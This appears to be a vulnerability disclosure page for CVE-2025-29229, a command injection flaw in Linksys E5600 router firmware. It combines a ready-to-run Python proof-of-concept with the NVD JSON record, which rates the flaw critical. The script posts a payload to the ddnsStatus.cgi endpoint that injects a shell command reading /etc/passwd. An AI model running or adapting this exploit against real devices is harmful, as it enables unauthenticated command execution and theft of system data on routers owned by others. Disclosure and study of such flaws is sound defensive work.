CVE-2025-29229

import requests target = 'http://target-ip/cgi-bin/ddnsStatus.cgi' payload = ';cat /etc/passwd > /tmp/out.txt' headers = { 'Content-Type': 'application/x-www-form-urlencoded', } data = { 'ddnsEntry': payload, 'submit': 'Apply' } response = requests.post(target, headers=headers, data=data, timeout=10) print(f'Status: {response.status_code}') print(f'Response: {response.text}')

{"cve": {"id": "CVE-2025-29229", "sourceIdentifier": "[email protected]", "published": "2025-12-23T17:15:46.960", "lastModified": "2026-01-06T17:32:37.003", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "linksys E5600 V1.1.0.26 is vulnerable to command injection in the function ddnsStatus."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linksys:e5600_firmware:1.1.0.26:*:*:*:*:*:*:*", "matchCriteriaId": "6E8CA102-9DA8-4F5A-A80F-2E6EBE4D64B8"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:linksys:e5600:-:*:*:*:*:*:*:*", "matchCriteriaId": "CA6D6638-5946-4B18-B071-32E262754420"}]}]}], "references": [{"url": "https://github.com/JZP018/Vuln/blob/main/linsys/E5600/CI_ddnsStatus/CI_ddnsStatus.md", "source": "[email protected]", "tags": ["Broken Link"]}]}}